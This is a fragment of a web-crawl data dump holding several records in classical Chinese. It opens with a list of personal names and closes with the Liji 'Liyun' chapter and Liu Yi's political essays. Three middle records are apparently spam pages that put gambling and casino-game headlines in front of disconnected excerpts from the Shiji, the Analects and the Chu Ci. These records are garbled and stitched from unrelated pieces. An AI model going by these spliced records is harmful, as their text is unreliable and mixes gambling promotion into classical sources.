宣語瑩 宣語英 宣嫣語 宣音嫣 宣丹嫣 宣秀嫣 宣娟 宣佳紅 宣筱文 宣丞蓉 宣娉婷 宣曉瑩 宣樂蓉 宣炯燕 宣筱妍 宣樂妍 宣佳妍 宣淑倩 宣淑娥 宣秀梅 宣成英 宣敏玉 宣靜蓉 宣翠梅 宣桂霞 宣呵怡 宣琳 宣娟娟 宣瑛瑛 宣英 宣珠芬 宣簫玉 宣驍玉 宣英英 宣伯霞 宣欣婷 宣妍青 宣榮花 宣佳麗 宣詩妍 宣鳳麗 宣頡婧 宣曉麗 宣小麗 宣傲雪 宣瑩盈 宣怡盈 宣惠燕 宣怡帆 宣凌燕 宣耀文 宣燕麗 宣彩燕 宣沛怡 宣沛瑤 宣未娟 宣莉馨 宣海蓉 宣德芳 宣海燕 宣懿玲 宣譯婷 宣燕芳 宣齊玉 宣麗玲 宣立玲 宣張梅 宣啟文 宣齊文 宣根英 宣妹 宣芝霞 宣茹芸 宣茹珈 宣茹桐 宣榮霞 宣惠婷 宣志麗 宣靜茹 宣茹 宣曉茹 宣芸瑤 宣僮瑤 宣儷瑤 宣愉瑤 宣榆瑤 宣檸瑤 宣楓瑤 宣杏瑤 宣悅瑤 宣梅 宣瑾瑤 宣懺瑤 宣桐瑤 宣伽瑤 宣昵瑤 宣若婷 宣玉潔 宣力文 宣倩倩 宣曼怡 宣悅涵 宣楠妍 宣楠燕 宣季紅 宣建瑩 宣嫣嫣 宣艷紅 宣立文 宣雪芬 宣田穎 宣田瑩 宣煜瑩 宣亞茹 宣思瑩 宣思瑤 宣思穎 宣秋瑩 宣翔文 宣志文 宣熹文 宣熙文 宣銀霞 宣向紅 宣小英 宣惠英 宣冰雪 宣玲鈺 宣博文 宣文瑤 宣玉芳 宣秋燕 宣玲玲 宣愛芬 宣玲萍 宣花 宣浩冉 宣寧妍 宣學紅 宣燕青 宣偉萍 宣軍英 宣君英 宣丹麗 宣佩莉 宣香蓉 宣虹芳 宣利英 宣雪琴 宣亞萍 宣豎琳 宣秀玲 宣莉莉 宣廣麗 宣阿英 宣雪英 宣瓊 宣秀英 宣婷晗 宣利紅 宣美娥 宣嘉瑤 宣卓瑤 宣蓉 宣悅兒 宣悅悅 宣麗娜 宣愛萍 宣易萍 宣婧 宣歡琴 宣帥文 宣躍文 宣曉莉 宣婷 宣明艷 宣伊艷 宣雨艷 宣中艷 宣妍 宣慧芳 宣惠芳 宣鳳英 宣茗悅 宣悅茗 宣子悅 宣艷婷 宣曉梅 宣艷艷 宣潔潔 宣東潔 宣語妍 宣女妍 宣媛圓 宣媛 宣媛媛 宣瑤楠 宣楠瑤 宣雪 宣俏瑤 宣迦倩 宣杞瑤 宣錦瑤 宣槿瑤 宣家怡 宣靜怡 宣繼紅 宣曉紅 宣英花 宣憬瑤 宣黎麗 宣海婷 宣自美 宣自瓊 宣星瑤 宣心瑤 宣欣瑤 宣瑤欣 宣蓮瑤 宣瑤蓮 宣婧瑤 宣佳怡 宣瑤 宣佳瑤 宣月瑤 宣吉瑤 宣靜瑤 宣香瑤 宣香婷 宣婷裕 宣又文 宣明玉 宣燕秀 宣茂英 宣瑛 宣照花 宣麗紅 宣雅嫣 宣琴堤 宣愛花 宣永文 宣佳媛 宣義紅 宣奕琳 宣奕玲 宣東秀 宣東媛 宣秋艷 宣勝艷 宣超美 宣玲 宣秀琴 宣紅芬 宣弘芬 宣淼英 宣妙英 宣磊瑩 宣文娟 宣曉艷 宣嵐婷 宣貽玲 宣嫣然 宣思怡 宣沁媛 宣沁怡","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5757.html","date":"2019-11-15T04:26:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668585.12\/warc\/CC-MAIN-20191115042541-20191115070541-00296.warc.gz","language":"lzh","language_score":0.4874579906,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4874579906463623, \"nan_Hani_score\": 0.2524566054344177, \"yue_Hani_score\": 0.2006428986787796, \"cmn_Hani_score\": 0.050773557275533676}","num_words":272,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.472,"perplexity_score":500.0,"cluster_detection":1} +{"text":"糖果派对平台无症状感染者如何发现管理治疗白岩松提问李兰娟院士\n是年,晋公子重耳过宋,襄公以伤於楚,欲得晋援,厚礼重耳以马二十乘。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n子贡曰:\"管仲非仁者与?桓公杀公子纠,不能死,又相之。\"子曰:\"管仲相桓公霸诸侯,一匡天下,民到于今受其赐。微管仲,吾其被发左衽矣。岂若匹夫匹妇之为谅也,自经于沟渎而莫之知也。\"\n卜天雨霁不霁。霁,呈兆足开首仰;不霁,横吉。\n四年,先縠以首计而败晋军河上,恐诛,乃奔翟,与翟谋伐晋。晋觉,乃族縠。縠,先轸子也。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/jo0me.coasis-utopia.com\/appstmyx\/5895496.html","date":"2020-04-01T03:44:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505366.8\/warc\/CC-MAIN-20200401034127-20200401064127-00545.warc.gz","language":"lzh","language_score":0.5934079289,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.593407928943634, \"cmn_Hani_score\": 0.28654253482818604, \"nan_Hani_score\": 0.02776017226278782, \"yue_Hani_score\": 0.017250319942831993, \"wuu_Hani_score\": 0.014670946635305882, \"jpn_Jpan_score\": 0.011244089342653751, \"zxx_Latn_score\": 0.010965561494231224}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BET速乐登陆摩根士丹利加码超配中国 短期刺激措施无碍长期改革\n卫康叔名封,周武王同母少弟也。其次尚有厓季,厓季最少。\n大馀十一,小馀八百三十八;大馀十五,无小馀;\n秦之灭大梁也,张耳家外黄。高祖为布衣时,尝数从张耳游,客数月。秦灭魏数岁,已闻此两人魏之名士也,购求有得张耳千金,陈馀五百金。张耳、陈馀乃变名姓,俱之陈,为里监门以自食。两人相对。里吏尝有过笞陈馀,陈馀欲起,张耳蹑之,使受笞。吏去,张耳乃引陈馀之桑下而数之曰:\"始吾与公言何如?今见小辱而欲死一吏乎?\"陈馀然之。秦诏书购求两人,两人亦反用门者以令里中。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n十六年,与韩、魏分晋,封晋君以端氏。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/tdxhn.fsyongguan.com\/rcqst\/233022.html","date":"2020-04-08T02:07:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371807538.83\/warc\/CC-MAIN-20200408010207-20200408040707-00425.warc.gz","language":"lzh","language_score":0.4619599283,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46195992827415466, \"cmn_Hani_score\": 0.2512507140636444, \"nan_Hani_score\": 0.15739938616752625, \"jpn_Jpan_score\": 0.018575238063931465, \"yue_Hani_score\": 0.016396548599004745, \"wuu_Hani_score\": 0.01635504700243473}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.407,"perplexity_score":500.0,"cluster_detection":1} +{"text":"移动在线星力捕鱼游戏电玩城餐饮业的思变数字化零售化提速洗牌期如何突围\n子曰:\"孰谓微生高直?或乞醯焉,乞诸其邻而与之。\"\n始皇封禅之後十二岁,秦亡。诸儒生疾秦焚诗书,诛僇文学,百姓怨其法,天下畔之,皆讹曰:\"始皇上泰山,为暴风雨所击,不得封禅。\"此岂所谓无其德而用事者邪?\n哀侯十一年,初,哀侯娶陈,息侯亦娶陈。息夫人将归,过蔡,蔡侯不敬。息侯怒,请楚文王:\"来伐我,我求救於蔡,蔡必来,楚因击之,可以有功。\"楚文王从之,虏蔡哀侯以归。哀侯留九岁,死於楚。凡立二十年卒。蔡人立其子肸,是为缪侯。\n兵围成王。成王请食熊蹯而死,不听。丁未,成王自绞杀。商臣代立,是为穆王。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/ncbkw.yfzw521.com\/?pzrqy\/07128.html","date":"2020-05-28T03:48:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347396495.25\/warc\/CC-MAIN-20200528030851-20200528060851-00143.warc.gz","language":"lzh","language_score":0.4540483952,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.45404839515686035, \"cmn_Hani_score\": 0.3267934322357178, \"nan_Hani_score\": 0.1380292922258377, \"wuu_Hani_score\": 0.023205947130918503, \"yue_Hani_score\": 0.015383842401206493}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":500.0,"cluster_detection":1} +{"text":"禮記禮運\n昔者仲尼與於蜡賓,事畢,出遊於觀之上,喟然而嘆。仲尼之嘆,蓋嘆魯也。言偃在側曰:君子何嘆?孔子曰:大道之行也,與三代之英,丘未之逮也,而有志焉。大道之行也,天下為公。選賢與能,講信脩睦,故人不獨親其親,不獨子其子,使老有所終,壯有所用,幼有所長,矜寡孤獨廢疾者,皆有所養。男有分,女有歸。貨惡其弃於地也,不必藏於己;力惡其不出於身也,不必為己。是故謀閉而不興,盗竊亂賊而不作,故外戶而不閉,是謂大同。今大道既隱,天下為家,各親其親,各子其子,貨力為己,大人世及以為禮。城郭溝池以為固,禮義以為紀;以正君臣,以篤父子,以睦兄弟,以和夫婦,以設制度,以立田里,以賢勇知,以功為己。故謀用是作,而兵由此起。禹湯文武成王周公,由此其選也。此六君子者,未有不謹於禮者也。以著其義,以考其信,著有過,刑仁講讓,示民有常。如有不由此者,在埶者去,衆以為殃,是謂小康。\n言偃復問曰:如此乎禮之急也?孔子曰:夫禮,先王以承天之道,以治人之情。故失之者死,得之者生。詩曰:「相鼠有體,人而無禮;人而無禮,胡不遄死?」是故夫禮,必本於天,殽於地,列於鬼神,達於喪祭射御冠昬朝聘。故聖人以禮示之,故天下國家可得而正也。\n言偃復問曰:夫子之極言禮也,可得而聞與?孔子曰:我欲觀夏道,是故之,而不足徵也;吾得夏時焉。我欲觀殷道,是故之宋,而不足徵也;吾得坤乾焉。坤乾之義,夏時之等,吾以是觀之。\n夫禮之初,始諸飲食,其燔黍捭豚,汙尊而抔飲,蕢桴而土鼓,猶若可以致其敬於鬼神。及其死也,升屋而號,告曰:皐某復!然後飯腥而苴孰。故天望而地藏也,體魄則降,知氣在上,故死者北首,生者南鄉,皆從其初。昔者先王,未有宮室,冬則居營窟,夏則居橧巢。未有火化,食草木之實鳥獸之肉,飲其血,茹其毛。未有麻絲,衣其羽皮。後聖有作,然後脩火之利,范金合土,以為臺榭宮室牖戶,以炮以燔,以亨以炙,以為醴酪;治其麻絲,以為布帛,以養生送死,以事鬼神上帝,皆從其朔。故玄酒在室,醴醆在戶,粢醍在堂,澄酒在下。陳其犧牲,備其鼎俎,列其琴瑟管磬鍾鼓,脩其祝嘏,以降上神與其先祖。以正君臣,以篤父子,以睦兄弟,以齊上下,夫婦有所。是謂承天之祜。作其祝號,玄酒以祭,薦其血毛,腥其俎,孰其殽,與其越席,疏布以冪,衣其澣帛,醴醆以獻,薦其燔炙,君與夫人交獻,以嘉魂魄,是謂合莫。然後退而合亨,體其犬豕牛羊,實其簠簋籩豆鉶羹。祝以孝告,嘏以慈告,是謂大祥。此禮之大成也。\n孔子曰:於呼哀哉!我觀周道,幽厲傷之,吾舍魯何適矣!魯之郊禘,非禮也,周公其衰矣!𣏌之郊也禹也,宋之郊也契也,是天子之事守也。故天子祭天地,諸侯祭社稷。\n祝嘏莫敢易其常古,是謂大假。祝嘏辭說,藏於宗祝巫史,非禮也,是謂幽國。醆斝及尸君,非禮也,是謂僭君。冕弁兵革藏於私家,非禮也,是謂脅君。大夫具官,祭器不假,聲樂皆具,非禮也,是謂亂國。故仕於公曰臣,仕於家曰僕。三年之喪,與新有昬者,期不使。以衰裳入朝,與家僕雜居齊齒,非禮也,是謂君與臣同國。故天子有田以處其子孫,諸侯有國以處其子孫,大夫有采以處其子孫,是謂制度。故天子適諸侯,必舍其祖廟,而不以禮籍入,是謂天子壞法亂紀。諸侯非問疾弔喪而入諸臣之家,是謂君臣為謔。是故,禮者君之大柄也,所以別嫌明微,儐鬼神,考制度,別仁義,所以治政安君也。故政不正,則君位危;君位危,則大臣倍,小臣竊。刑肅而俗敝,則法無常;法無常,而禮無列;禮無列,則士不事也。刑肅而俗敝,則民弗歸也,是謂疵國。\n故政者君之所以藏身也。是故夫政必本於天,殽以降命。命降于社之謂殽地,降于祖廟之謂仁義,降於山川之謂興作,降於五祀之謂制度。此聖人所以藏身之固也。故聖人參於天地,並於鬼神,以治政也。處其所存,禮之序也;玩其所樂,民之治也。故天生時而地生財,人其父生而師教之:四者,君以正用之,故君者立於無過之地也。\n故君者所明也,非明人者也。君者所養也,非養人者也。君者所事也,非事人者也。故君明人則有過,養人則不足,事人則失位。故百姓則君以自治也,養君以自安也,事君以自顯也。故禮達而分定,故人皆愛其死而患其生。故用人之知去其詐,用人之勇去其怒,用人之仁去其貪。故國有患,君死社稷謂之義,大夫死宗廟謂之變。故聖人耐以天下為一家,以中國為一人者,非意之也,必知其情,辟於其義,明於其利,達於其患,然後能為之。\n何謂人情?喜怒哀懼愛惡欲,七者,弗學而能。何謂人義?父慈、子孝、兄良、弟弟、夫義、婦聽、長惠、幼順、君仁、臣忠,十者,謂之人義。講信脩睦,謂之人利。爭奪相殺,謂之人患。故聖人所以治人七情,脩十義,講信脩睦,尚辭讓,去爭奪,舍禮何以治之?飲食男女,人之大欲存焉;死亡貧苦,人之大惡存焉。故欲惡者,心之大端也。人藏其心,不可測度也;美惡皆在其心,不見其色也,欲一以窮之,舍禮何以哉?\n故人者,其天地之德,陰陽之交,鬼神之會,五行之秀氣也。故天秉陽,垂日星;地秉陰,竅於山川。播五行於四時,和而后月生也。是以三五而盈,三五而闕。五行之動,迭相竭也,五行四時十二月,還相為本也;五聲六律十二管,還相為宮也;五味六和十二食,還相為質也;五色六章十二衣,還相為質也。\n故人者,天地之心也,五行之端也,食味別聲被色而生者也。故聖人作則,必以天地為本,以陰陽為端,以四時為柄,以日星為紀,月以為量,鬼神以為徒,五行以為質,禮義以為器,人情以為田,四靈以為畜。以天地為本,故物可舉也;以陰陽為端,故情可睹也;以四時為柄,故事可勸也;以日星為紀,故事可列也;月以為量,故功有藝也;鬼神以為徒,故事有守也;五行以為質,故事可復也;禮義以為器,故事行有考也;人情以為田,故人以為奧也;四靈以為畜,故飲食有由也。何謂四靈?麟鳳龜龍,謂之四靈。故龍以為畜,故魚鮪不淰;鳳以為畜,故鳥不獝;麟以為畜,故獸不狘;龜以為畜,故人情不失。\n故先王秉蓍龜,列祭祀,瘞繒,宣祝嘏辭說,設制度,故國有禮,官有御,事有職,禮有序。故先王患禮之不達於下也。故祭帝於郊,所以定天位也;祀社於國,所以列地利也;祖廟所以本仁也,山川所以儐鬼神也,五祀所以本事也。故宗祝在廟,三公在朝,三老在學。王,前巫而後史,卜筮瞽侑皆在左右,王中心無為也,以守至正。故禮行於郊,而百神受職焉,禮行於社,而百貨可極焉,禮行於祖廟而孝慈服焉,禮行於五祀而正法則焉。故自郊社祖廟山川五祀,義之脩而禮之藏也。\n是故夫禮,必本於大一,分而為天地,轉而為陰陽,變而為四時,列而為鬼神。其降曰命,其官於天也。夫禮必本於天,動而之地,列而之事,變而從時,協於分藝,其居人也曰養,其行之以貨力、辭讓、飲食、冠昬、喪祭、射御、朝聘。故禮義也者,人之大端也,所以講信脩睦而固人之肌膚之會,筋骸之束也。所以養生送死事鬼神之大端也。所以達天道順人情之大竇也。\n故唯聖人為知禮之不可以已也,故壞國、喪家、亡人,必先去其禮。故禮之於人也,猶酒之有蘗也,君子以厚,小人以薄。故聖王脩義之柄,禮之序,以治人情。故人情者,聖王之田也。脩禮以耕之,陳義以種之,講學以耨之,本仁以聚之,播樂以安之。故禮也者,義之實也。協諸義而協,則禮雖先王未之有,可以義起也。義者,藝之分,仁之節也,協於藝,講於仁,得之者強。仁者,義之本也,順之體也,得之者尊。故治國不以禮,猶無耜而耕也;為禮不本於義,猶耕而弗種也;為義而不講之以學,猶種而弗耨也;講之於學而不合之以仁,猶耨而弗穫也;合之以仁而不安之以樂,猶穫而弗肥也;安之以樂而不達於順,猶食而弗食也。四體既正,膚革充盈,人之肥也。父子篤,兄弟睦,夫婦和,家之肥也。大臣法,小臣廉,官職相序,君臣相正,國之肥也。天子以德為車,以樂為御,諸侯以禮相與,大夫以法相序,士以信相考,百姓以睦相守,天下之肥也。是謂大順。大順者,所以養生送死事鬼神之常也。故事大積焉而不苑,並行而不繆,細行而不失。深而通,茂而有間。連而不相及也,動而不相害也,此順之至也。故明於順,然後能守危也。\n故禮之不同也,不豐也,不殺也,所以持情而合危也。故聖王所以順,山者不使居川,不使渚者居中原,而弗敝也。用水火金木,飲食必時。合男女,頒爵位,必當年德。用民必順。故無水旱昆蟲之災,民無凶饑妖孽之疾。故天不愛其道,地不愛其寶,人不愛其情。故天降膏露,地出醴泉,山出器車,河出馬圖,鳳皇麒麟皆在郊棷,龜龍在宮沼,其餘鳥獸之卵胎,皆可俯而闚也。則是無故,先王能脩禮以達義,體信以達順故,此順之實也。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/b\/b06\/09.htm","date":"2020-07-11T21:44:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655937797.57\/warc\/CC-MAIN-20200711192914-20200711222914-00218.warc.gz","language":"lzh","language_score":0.4786737263,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.4786737263202667, \"cmn_Hani_score\": 0.42573586106300354, \"nan_Hani_score\": 0.06675293296575546, \"wuu_Hani_score\": 0.015959447249770164}","num_words":16,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.585,"perplexity_score":500.0,"cluster_detection":1} +{"text":"刘廙政论\n群书治要卷四十七\n备政\n夫为政者。譬犹工匠之造屋也。广厦既成。众棁不安。则梁栋为之断折。一物不备。则千柱为之并废。善为屋者。知梁棁之不可以不安。故栋梁常存。知一物之不可以不备。故众榱与之共成也。善为政者。知一事之不可阙也。故无物而不备。知一是之不可失也。故众非与之共得。其不然者。轻一事之为小。忽而阙焉。不知众物与之共多也。睹一非之为小也。轻而蹈焉。不知众是与之共失也。夫政之相须。犹輗辖之在车。无輗辖犹可以小进也。谓之历远而不顿踬者。未之有也。夫为政者。轻一失而不矜之。犹乘无辖之车。安其少进。而不睹其顿踬之患也。夫车之患近。故无不睹焉。国之患远。故无不忽焉。知其体者。夕惕若厉。慎其愆矣。\n夫为政者。莫善于清其吏也。故选托于由。夷。而又威之以笃罚。欲其贪之必惩。令之必从也。而奸益多。巧弥大。何也。知清之为清。而不知所以清之故。免而无耻也。日欲其清而薄其禄。禄薄所以不得成其清。夫饥寒切于肌肤。固人情之所难也。其甚又将使其父不父。子不子。兄不兄。弟不弟。夫不夫。妇不妇矣。贫则仁义之事狭。而怨望之心笃。从政者捐私门而委身于公朝。荣不足以光室族。禄不足以代其身。骨肉饥寒离怨于内。朋友离叛衰(衰疑弃)。捐于外。亏仁孝。损名誉。得守之而不易者。万无一也。不能原其所以然。又将佐其室族之不和。合门之不登也。疑其名。必将忘其实。因而下之。不移之士。虽苦身于内。冒谤于外。捐私门之患。毕死力于国。然犹未获见信之衷。不免黜放之罪。故守清者死于沟壑。而犹有遗谤于世也。为之至难。其罚至重。谁能为之哉。人知守清之必困于终也。违清。而又惧卒罚之及其身也。故不为昭昭之行。而咸思暗昧之利。奸巧机于内。而虚名逸于外。人主贵其虚名。而不知贱其所以为名也。\n虚名彰于世。奸实隐于身。人主眩其虚。必有以暗其实矣。故因而贵之。敬而用之。此所谓恶贪而罚于由夷。好清而赏于盗跖也。名实相违。好恶相错。此欲清而不知重其禄之故也。不知重其禄。非徒失于清也。又将使清分于私。而知周于欺。推此一失。以至于欺。苟欺之行。何事而不乱哉。故知清而不知所以重其禄者。则欺而浊。知重其禄而不知所以少其吏者。则竭而不足。知少其吏而不知所以尽其力者。则事繁而职阙。凡此数事。相须而成。偏废。则有者不为用矣。其余放欺。无事而不若此者也。不可得一二而载之耳。故明君必须良佐而后致治。非良佐能独治也。必须善法有以用之。夫君犹医也。臣犹针也。法。阴阳补泻也。针非人不入。人非针不彻于病。二者既备而不知阴阳补泻。则无益于疾也。又况逆(逆疑并)失之哉。今用针而不存于善术。使所针必死。夫然也。其疾之疗亦远。良医急于速疗。而不恃针入之无恙也。明君急于治平。而不恃亡失之不便亡也。(必须至亡也百三字。恐当连正文)\n正名\n夫名不正则其事错矣。物无制 则其用淫矣。错则无以知其实。淫则无以禁其非。故王者必正名以督其实。制 物以息其非。名其何以正之哉。曰。行不美则名不得称。称必实所以然。效其所以成。故实无不称于名。名无不当于实也。曰。物又何以制 之哉。曰。物可以养生而不可废之于民者。富之备之。无益于养生而可以宝于世者。则随尊卑而为之制 。使不为此官。不得服此服。不得备此饰。故其物甚可欲。民不得服。虽捐之旷野而民不敢取也。虽简于禁。而民皆无欲也。是以民一于业。本务而末息。有益之物阜而贱。无益之宝省而贵矣。所谓贵者。民贵愿之也。匪谓贾贵于市也。故其政惠。其民洁。其法易。其业大。昔人曰。唯器与名。不可以假人。其此之谓与。\n慎 爱\n夫人主莫不爱爱己。而莫知爱己者之不足爱也。故惑小臣之佞而不能废也。忘(忘疑忌)违己之益己而不能用也。夫犬之为猛也。莫不爱其主矣。见其主则腾踊而不能自禁。此欢爱之甚也。有非则鸣吠。而不遑于夙夜。此自效之至也。昔宋人有沽酒者。酒酸而不售。何也。以其有猛犬之故也。夫犬知爱其主。而不能为其主虑酒酸之患者不噬也。夫小臣之欲忠其主也。知爱之而不能去其嫉妒之心。又安能敬有道。为己愿稷。契之佐哉。此养犬以求不贫。爱小臣以丧良贤也。悲夫。为国者之不可不察也。\n审 爱\n为人君者。莫不利小人以广其视听。谓视听之可以益于己也。今彼有恶而己不见。无善而己爱之者。何也。智不周其恶。而义不能割其情也。己不能割情于所爱。虑不能睹其得失之机。彼亦能见己成败于所暗。割私情以事其上哉。其势适足以厚奸人之资。此朋党者之所以日固。独善之所以孤弄(弄疑弃)也。故视听日多。而暗蔽日甚。岂不诡哉。\n欲 失\n夫人君莫不愿众心之一于己也。而疾奸党之比于人也。欲得之而不知所以得之。故欲之益甚。而不可得亦甚。疾之益力。而为之者亦益勤矣。何也。彼将恐其党也。任之而不知所以信之。朝任其身。夕访于恶。恶无毁实。善无赏分。事无小大。访而后知。彼众之不必同于道也。又知访之不能于己也。虽至诚至忠。俾曾参以事其亲。借龙逢以贯其忠。犹将屈于私交。况世俗之庸臣哉。故为君而欲使其臣之无党者。得其人也。得其人而使必尽节于国者。信之于己也。\n疑 贤\n自古人君莫不愿得忠贤而用之也。既得之。莫不访之于众人也。忠于君者。岂能必利于人。苟无利于人。又何能保誉于人哉。故常愿之于心。而常失之于人也。非愿之之不笃而失之也。所以定之之术非也。故为忠者获小赏而大乖违于人。恃人君之独知之耳。而获访之于人。此为忠者福无几而祸不测于身也。得于君。不过斯须之欢。失于君。而终身之故患。荷赏名而实穷于罚也。是以忠者逝而遂。智者虑而不为。为忠者不利。则其为不忠者利矣。凡利之所在。人无不欲。人无不欲。故无不为不忠矣。为君者以一人而独虑于众奸之上。虽至明而犹困于见暗。又况庸君之能睹之哉。庸人知忠之无益于己。而私名之可以得于人。得于人。可以重于君也。故笃私交。薄公义。为己者殖而长之。为国也(也疑者)抑而割之。是以真实之人黜于国。阿欲之人盈于朝矣。由是田。季之恩隆。而齐。鲁之政衰也。虽成(成恐戒或威)之市朝。示之刀锯。私欲益盛。齐。鲁日困。何也。诚威之以言而赏之以实也。好恶相错。政令日弊。昔人曰。为君难。不其然哉。\n任 臣\n人君所以尊敬人臣者。以其知任人臣。委所信。而保治于己也。是以其听察。其明昭。身日高。而视日下。事日远。而听日近。业至难而身至易。功至多而勤至少也。若多疑而自任也。则其臣不思其所以为国。而思其所以得于君。深其计而浅其事。以求其指㧑。人主浅之则不陷于之难。人主深之则进而顺之以取其心。所阙者。忠于国而难明于君者也。所修者。不必忠于国而易行于时者也。因其所贵者贵之。故能同其贵。因其所贱者贱之。故能殊于贱。其所贵者不必贤。所贱者不必愚也。家怀因循之术。人为悦心易见之行。夫美大者深而难明。利长者不可以仓卒形也。故难明长利之事废于世。阿(阿下恐有脱文)易见之行塞于侧。为非不知过。知困不知其乏。此为天下共一人之智。以一人而独治于四海之内也。其业大。其智寡。岂不蔽哉。以一蔽主而临不量之阿。欲能不惑其功者。未之有也。苟惑之。则人得其志矣。人得其志。则君之志失矣。君劳臣逸。上下易所。是一君为臣而万臣为君也。以一臣而事万君。鲜不用矣。有不(不字恐衍)用人之名。而终为人所用也。是以明主慎之。不贵知所用于己。而贵知所用于人。能用人。故人无不为己用也。昔舜恭己正南面而已。天下不多皋陶。稷。契之数。而贵圣舜独治之功。故曰。为之者不必名其功。获其业者不必勤其身也。其舜之谓与。\n下 视\n夫自足者不足。自明者不明。日月至光至大。而有所不遍者。以其高于众之上也。镫烛至微至小。而无不可之者。以其明之下。能照日月之所蔽也。圣人能睹往知来。不下堂而知四方。萧墙之表。有所不喻焉。诚无所以知之也。夫有所以知之。无远而不睹。无所以知之。虽近。不如童昏之履之也。人岂逾于日月而皆贤于圣哉。故高于人之上者。必有以应于人。其察之也视下。视下者见之详矣。人君诚能知所不知。不遗镫烛童昏之见。故无不可知而不知也。何幽冥之不尽。况人情之足蔽哉。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E5%88%98%E5%BB%99%E6%94%BF%E8%AE%BA%E6%B2%BB%E8%A6%81\/","date":"2021-04-14T23:50:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038078900.34\/warc\/CC-MAIN-20210414215842-20210415005842-00087.warc.gz","language":"lzh","language_score":0.4730286598,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.47302865982055664, \"cmn_Hani_score\": 0.21256594359874725, \"zxx_Latn_score\": 0.04778209328651428, \"nan_Hani_score\": 0.04742615669965744, \"jpn_Jpan_score\": 0.03065507672727108, \"wuu_Hani_score\": 0.029320668429136276, \"und_Tang_score\": 0.016470294445753098}","num_words":30,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.473,"perplexity_score":500.0,"cluster_detection":1} 